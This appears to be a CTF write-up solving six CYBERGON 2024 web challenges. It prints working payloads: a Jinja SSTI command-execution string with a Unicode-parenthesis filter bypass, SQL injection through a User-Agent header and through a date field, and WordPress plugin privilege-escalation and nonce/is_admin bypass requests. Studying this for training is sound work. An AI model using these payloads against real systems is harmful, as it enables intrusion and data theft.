CYBERGON CTF 2024
Write-ups for web challenges from CYBERGON CTF 2024.
Trickery Number
This challenge requires us to guess the right number to get the flag.
Let’s look at the given source code for the challenge:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const http = require('http');
const url = require('url');
const fs = require('fs');
const path = require('path');
const sendFile = (res, filePath, replacements = {}) => {
fs.readFile(filePath, 'utf8', (err, data) => {
if (err) {
res.writeHead(500, { 'Content-Type': 'text/html' });
res.end('<h1>Server Error</h1>');
return;
}
let content = data;
for (const [key, value] of Object.entries(replacements)) {
content = content.replace(new RegExp(`{{${key}}}`, 'g'), value);
}
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(content);
});
};
const server = http.createServer((req, res) => {
const parsedUrl = url.parse(req.url, true);
if (parsedUrl.pathname === '/' && req.method === 'GET') {
return sendFile(res, path.join(__dirname, 'index.html'));
} else if (parsedUrl.pathname === '/flag' && req.method === 'GET') {
try {
let y = parsedUrl.query.y;
if (y == null) {
return sendFile(res, path.join(__dirname, 'null.html'));
}
if (y.length > 17) {
return sendFile(res, path.join(__dirname, 'no-flag.html'));
}
// integer overflow will never happen here
let x = BigInt(parseInt(y));
if (x < y) {
let flag = fs.readFileSync("flag.txt", 'utf8')
return sendFile(res, path.join(__dirname, 'flag.html'), {flag});
}
return sendFile(res, path.join(__dirname, 'no-flag.html'));
} catch (e) {
console.log(e)
return sendFile(res, path.join(__dirname, "error.html"));
}
} else {
res.writeHead(404, { 'Content-Type': 'text/html' });
return sendFile(res, path.join(__dirname, '404.html'));
}
});
const PORT = 3000;
server.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`);
});
The interesting part to us is here:
1
2
3
4
5
6
7
8
9
10
11
12
13
let y = parsedUrl.query.y;
if (y == null) {
return sendFile(res, path.join(__dirname, 'null.html'));
}
if (y.length > 17) {
return sendFile(res, path.join(__dirname, 'no-flag.html'));
}
// integer overflow will never happen here
let x = BigInt(parseInt(y));
if (x < y) {
let flag = fs.readFileSync("flag.txt", 'utf8')
return sendFile(res, path.join(__dirname, 'flag.html'), {flag});
}
To get the flag, x
must be smaller than y
. But if the value of x
is assigned from y
, how can one be smaller than the other?
JavaScript Type Coercion
The trick here is in how JavaScript handles type coercions. When values of different data types are compared, one of them (RHS) is implicitly converted to the LHS data type.
Because x < y
, y
is implicitly converted from a string
to BigInt
.
Then, how can we abuse this so that x < y
will be true? In JavaScript, if you use a number greater than the Number.MAX_SAFE_INTEGER
, we will lose precision when it is converted by parseInt
. Because y
is directly converted to BigInt
, we won’t lose precision, and will be bigger than x
.
Entering the number 9007199254740993, we get the flag.
Flag: CYBERGON_CTF2024{oH_n0t_Th4t_tRiCk3rY}
Greeting
The challenge takes in user input and prints it back to the user, this looks like a classic SSTI challenge.
If we inspect the server header, we’ll find that it is running Werkzeug/2.0.3 Python/3.8.20
. For Python applications, I always trigger the default error page to figure out the framework that’s being used.
As you can see, this is the default 404 page for Flask.
SSTI
We can confirm that SSTI is possible with {{ 7*7 }}
.
Next, we want to get code execution to read files on the server. Instead of going through __subclasses__
and finding the right index to os
, I prefer using the __globals__.__builtins__
method for RCE.
1
{{request.application.__globals__.__builtins__.__import__('os')['popen']('cat flag.txt')['read']()}}
I find that this way is a lot more elegant.
If we try our payload, we’ll notice that we’re being blocked by some type of filter.
I found out that ()
characters were being blocked by the application, but how do we call functions without using ()
?
Unicode Normalization
Python is unique in how it handles unicode representations of the same character. Essentially, different unicode representations of the same character are treated as different characters, but get converted back to the same value. So, if we use different unicode representations of ()
(I used U+208D
and U+208E
), these would not be treated as bad characters, and allow us to call functions.
Payload:
1
{{request.application.__globals__.__builtins__.__import__₍'os'₎['popen']₍'cat flag.txt'₎['read']₍₎}}
Flag: CYBERGON_CTF2024{H3lL0_fRoM_CyBer_GoN_2024}
Agent
We can register our own accounts and login. After logging in, we can view our own logs which shows our IP and user agent. If we change our user agent, it’s reflected in the logs.
If we try adding a '
in our user agent, we’ll trigger an error, hinting at SQL injection.
SQL Injection
Note that for this SQLI, we are inside an INSERT
statement, not the standard SELECT
. The INSERT
expects (username, password)
, so we’ll have to close the brackets for it to be valid. Also, since we are inserting our payload through the user agent, we can’t use stacked queries (at least I couldn’t think of how, it should be impossible) since the ;
character will just terminate the user agent header, and anything following it as another user agent value.
We’ll combine the SQLI in the user agent with the log viewing function to get our query outputs.
We confirm the SQLI, and the database is running on MySQL 9.1.0
Next, we’ll want to enumerate the database to find the table containing the flag. Here’s what we found out:
- The only databases available are
information_schema
andctf
. Note that the defaultmysql
andperformance
databases are missing. This is likely because the current user is low privileged. - The current user is
ctfuser
. ctf
only hasusers
table.ctfuser
does not haveFILE
permissions.
Now, the users
table had 4253+ rows when I attempted it, and I got into a rabbithole trying to find the flag elsewhere in the database like in information_schema.processlist
. The solution was actually pretty straightforward, we just need to retrieve the password for the admin
user.
1
User-Agent: User-Agent: users', (select password from ctf.users where username="admin" limit 1))-- -
Searching for the flag format in the username
and password
columns would have also worked:
1
User-Agent: User-Agent: users', (select password from ctf.users where password like "CYBERGON_CTF2024{" limit 1 offset 1))-- -
Flag: CYBERGON_CTF2024{N0w_Ag3nt_PwN3d_Th3_S3rv3r}
Event
The search function takes in query
and date
. date
expects MM/DD/YYYY-MM/DD/YYYY. If you omit the end date in the range, it will default to the current day.
Parsing from date
to DATE
We’ll easily find the the SQL error when we insert a single quote in date
. The weird thing here is in how date
is being parsed. If we insert '
in different positions in MM/DD/YYYY
, we can see how the single quote is being inserted in the backend.
This is because DATE
in SQL is in YYYY-MM-DD
format, so the backend will parse our input string to the format that DATE
expects. For example, the date 11/30'/2024
will result in the following query, which triggers the error:
1
select * from table where date > '2024-11-30'' and date < '2024-12-11'
UNION-based SQL Injection
To confirm the SQLI, we’ll set the date to one that doesn’t have any records, then try to do OR 1=1
to return all rows.
Note that certain characters were not allowed because of how the date was being parsed:
- Using
-
for comments would result in it being parsed as the range of the date. - Using
/**/
for comments and whitespace would fail because/
is being parsed as the separators in the date.
I’ll use #
for comment character and tab character for whitespace.
1
/search.php?query=&date=12/21'%09OR%091=1%09%23/2024-
Since we have output, we can do a UNION
to query the hidden event. We confirm that the original query has 5 columns.
1
/search.php?query=&date=12%2f21'%09union%09select%091%2c2%2c3%2c4%2c5%23%2f2024-
Then, we can enumerate the database through information_schema
. Here’s what I gathered:
information_schema
,performance_schema
,events_db
are available.events_db
has the tablescybergon
andevents
.- The columns of
cybergon
areid
,title
. - The columns of
events
areid
,title
,description
,date
,location
.
We discover the flag in the description
field of one of the rows in cybergon
.
Flag: CYBERGON_CTF2024{SqL_1s_FuN_4nd_E@Sy}
Cybergon Blog
We’re given a WordPress application that has a custom plugin for profile customization. We’re also given the source code to this plugin. Users can register their own WP user accounts (subscriber role).
user-profile-enhancer.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
/*
Plugin Name: User Profile Enhancer
Description: Adds various customization options to the user profile update functionality.
Version: 1.0
Author: mgthura
*/
function log_user_activity($user_id) {
error_log("User ID {$user_id} updated their profile.");
}
function add_custom_profile_field($user) {
echo '<h3>Custom Profile Settings</h3>';
echo '<table class="form-table"><tr>';
echo '<th><label for="custom_field">Custom Field</label></th>';
echo '<td><input type="text" name="custom_field" id="custom_field" value="" class="regular-text"></td>';
echo '</tr></table>';
}
add_action('show_user_profile', 'add_custom_profile_field');
add_action('edit_user_profile', 'add_custom_profile_field');
function process_custom_profile_field($user_id) {
if (isset($_POST['custom_field'])) {
update_user_meta($user_id, 'custom_field', sanitize_text_field($_POST['custom_field']));
}
}
add_action('personal_options_update', 'process_custom_profile_field');
add_action('edit_user_profile_update', 'process_custom_profile_field');
function custom_admin_notice() {
echo '<div class="notice notice-info"><p>Profile customization plugin is active!</p></div>';
}
add_action('admin_notices', 'custom_admin_notice');
function add_custom_capability_to_admin() {
$admin = get_role('administrator');
if ($admin && !$admin->has_cap('customize_theme')) {
$admin->add_cap('customize_theme');
}
}
add_action('admin_init', 'add_custom_capability_to_admin');
function update_dummy_option() {
update_option('dummy_option', time());
}
add_action('admin_init', 'update_dummy_option');
function dummy_shortcode_function($atts) {
return '<p>Dummy shortcode output!</p>';
}
add_shortcode('dummy_shortcode', 'dummy_shortcode_function');
function display_user_role_in_footer() {
if (is_admin() && current_user_can('read')) {
$current_user = wp_get_current_user();
echo '<p style="text-align:center;">Your Role: ' . esc_html(implode(', ', $current_user->roles)) . '</p>';
}
}
add_action('admin_footer', 'display_user_role_in_footer');
function custom_profile_update_hook($user_id) {
if (isset($_POST['custom_option']) && is_array($_POST['custom_option']) && in_array('0', $_POST['custom_option'])) {
$user = get_user_by('id', $user_id);
$user->set_role('contributor');
}
}
add_action('personal_options_update', 'custom_profile_update_hook');
add_action('edit_user_profile_update', 'custom_profile_update_hook');
function update_user_last_login($user_login, $user) {
update_user_meta($user->ID, 'last_login', current_time('mysql'));
}
add_action('wp_login', 'update_user_last_login', 10, 2);
function debug_user_data() {
if (isset($_GET['debug_user'])) {
$user = wp_get_current_user();
error_log(print_r($user, true));
}
}
add_action('admin_init', 'debug_user_data');
The vulnerable code is here:
1
2
3
4
5
6
function custom_profile_update_hook($user_id) {
if (isset($_POST['custom_option']) && is_array($_POST['custom_option']) && in_array('0', $_POST['custom_option'])) {
$user = get_user_by('id', $user_id);
$user->set_role('contributor');
}
}
When the edit_user_profile_update
hook is triggered, it checks if custom_option
is in the request body. If custom_option
is an array and “0” is in one of the elements, then the current user is granted the contributor role.
I’ll interecept the request to the profile body, and build the payload:
1
...[SNIP]...&custom_option[]=0&custom_option[]=1&testing&action=update&user_id=10&submit=Update+Profile
In PHP, we can send an array of values by using param[]
. Each param[]
will be parsed as an element of the param
array.
1
2
3
4
custom_option[]=0&custom_option[]=1
Parsed:
"custom_option" => ["0", "1"]
Now that we are a contributor, we are able to manage posts.
We discover the flag in one of the existing posts.
Flag: CYBERGON_CTF2024{w0rdpr3ss_vUlN_1s_FuN_4nd_3asy}
Cybergon Blog 2
Continuation of the previous challenge. This time the user profile enhancer plugin is removed. The site now has a plugin for enhancing blog posts, and we’re given the source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
<?php
/*
Plugin Name: User Post Enhancer
Description: A plugin to enhance user posts with additional functionality.
Version: 1.0
Author: mgthura
*/
if (!defined('ABSPATH')) {
exit; // Exit if accessed directly
}
class CustomUserActions {
public function __construct() {
add_action('init', [$this, 'register_ajax_actions']);
add_action('wp_enqueue_scripts', [$this, 'enqueue_scripts']);
add_action('wp_ajax_generate_nonce', [$this, 'generate_nonce']);
add_action('wp_ajax_nopriv_generate_nonce', [$this, 'generate_nonce']);
add_action('wp_ajax_read_post_data', [$this, 'read_post_data']);
add_action('wp_ajax_read_post', [$this, 'read_post']);
add_action('wp_ajax_update_user_preferences', [$this, 'update_user_preferences']);
add_action('wp_ajax_fetch_user_settings', [$this, 'fetch_user_settings']);
add_action('wp_ajax_get_recent_posts', [$this, 'get_recent_posts']);
add_action('wp_ajax_submit_feedback', [$this, 'submit_feedback']);
add_action('wp_ajax_update_avatar', [$this, 'update_avatar']);
add_action('wp_ajax_fetch_api_data', [$this, 'fetch_api_data']);
add_action('wp_ajax_review_security_policies', [$this, 'review_security_policies']);
add_action('wp_ajax_sync_server', [$this, 'sync_server']);
add_action('wp_ajax_process_shortcode', [$this, 'process_shortcode']);
add_action('wp_ajax_execute_background_task', [$this, 'execute_background_task']);
}
public function generate_nonce() {
if (is_admin()) {
$nonce = wp_create_nonce('read_post_data_nonce');
wp_send_json_success(['nonce' => $nonce]);
} else {
wp_send_json_error(['message' => 'Unauthorized']);
}
}
public function read_post() {
$post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
$post = get_post($post_id);
if ($post && $post->post_status === 'publish') {
wp_send_json_success(['post_data' => [
'title' => $post->post_title,
'content' => $post->post_content,
]]);
} else {
wp_send_json_error(['message' => 'Post not found or not published']);
}
}
public function read_post_data() {
check_ajax_referer('read_post_data_nonce', 'nonce');
$post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
$post = get_post($post_id);
if (is_admin() && $post) {
wp_send_json_success(['post_data' => [
'title' => $post->post_title,
'content' => $post->post_content,
]]);
} else {
wp_send_json_error(['message' => 'Unauthorized or post not found']);
}
}
public function update_user_preferences() {
$user_id = get_current_user_id();
$prefs = ['theme' => 'light', 'notifications' => 'enabled', 'language' => 'en'];
$updated = update_user_meta($user_id, 'preferences', $prefs);
if ($updated) {
wp_send_json_success(['message' => 'Preferences updated.', 'preferences' => $prefs]);
} else {
wp_send_json_error(['message' => 'Failed to update preferences.']);
}
}
public function fetch_user_settings() {
$user_id = get_current_user_id();
$settings = [
'email' => wp_get_current_user()->user_email,
'timezone' => get_option('timezone_string', 'UTC'),
];
if (!empty($settings)) {
wp_send_json_success(['message' => 'Settings fetched successfully.', 'settings' => $settings]);
} else {
wp_send_json_error(['message' => 'Failed to fetch settings.']);
}
}
public function get_recent_posts() {
$posts = get_posts(['numberposts' => 5, 'post_status' => 'publish']);
$data = array_map(function ($post) {
return ['title' => $post->post_title, 'id' => $post->ID];
}, $posts);
if ($data) {
wp_send_json_success(['message' => 'Recent posts retrieved.', 'posts' => $data]);
} else {
wp_send_json_error(['message' => 'No posts available.']);
}
}
public function submit_feedback() {
$feedback = isset($_POST['feedback']) ? sanitize_text_field($_POST['feedback']) : '';
$feedback_id = wp_insert_post([
'post_title' => 'User Feedback',
'post_content' => $feedback,
'post_status' => 'pending',
'post_type' => 'feedback',
]);
if ($feedback_id) {
wp_send_json_success(['message' => 'Feedback submitted successfully.', 'id' => $feedback_id]);
} else {
wp_send_json_error(['message' => 'Failed to submit feedback.']);
}
}
public function update_avatar() {
$avatar_id = isset($_POST['avatar_id']) ? intval($_POST['avatar_id']) : 0;
$user_id = get_current_user_id();
if ($avatar_id && $user_id) {
update_user_meta($user_id, 'avatar', $avatar_id);
wp_send_json_success(['message' => 'Avatar updated.', 'avatar_id' => $avatar_id]);
} else {
wp_send_json_error(['message' => 'Invalid avatar or user.']);
}
}
public function fetch_api_data() {
$api_url = 'https://catfact.ninja/fact';
$response = wp_remote_get($api_url);
$body = wp_remote_retrieve_body($response);
if ($body) {
wp_send_json_success(['message' => 'Data fetched from API.', 'data' => json_decode($body)]);
} else {
wp_send_json_error(['message' => 'Failed to fetch data from API.']);
}
}
public function review_security_policies() {
wp_send_json_success(['message' => 'Security policies reviewed.']);
}
public function sync_server() {
wp_send_json_success(['message' => 'Server synchronization complete.']);
}
public function process_shortcode() {
wp_send_json_success(['message' => 'Shortcode processed.', 'shortcode' => '[example_shortcode]']);
}
public function execute_background_task() {
wp_send_json_success(['message' => 'Background task completed.']);
}
}
new CustomUserActions();
nopriv
Hook to Generate Nonce
First off, we have a nopriv
hook for generating nonce values. This means we can retrieve a valid nonce without authentication by making a request to admin-ajax.php
.
1
add_action('wp_ajax_nopriv_generate_nonce', [$this, 'generate_nonce']);
We’ll come back to this later on.
Reading post data
The interesting part to us is the read_post_data
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function read_post_data() {
check_ajax_referer('read_post_data_nonce', 'nonce');
$post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
$post = get_post($post_id);
if (is_admin() && $post) {
wp_send_json_success(['post_data' => [
'title' => $post->post_title,
'content' => $post->post_content,
]]);
} else {
wp_send_json_error(['message' => 'Unauthorized or post not found']);
}
}
The function checks for a valid nonce, and returns the post of the given post_id
. The authentication check with is_admin
here is flawed. WordPress’ is_admin
doesn’t work as you would expect.
Instead of checking if the current user is an admin, it actually checks if the request originates from an admin page. Since we’re calling the action with from /wp-admin/admin-ajax.php
, we basically bypass the check.
Putting everything together, we include the nonce from the nopriv
hook, and search through posts with read_post_data
to discover the flag.
Flag: CYBERGON_CTF2024{W0rdPr3ss_1s_FuN_W4s_1t?}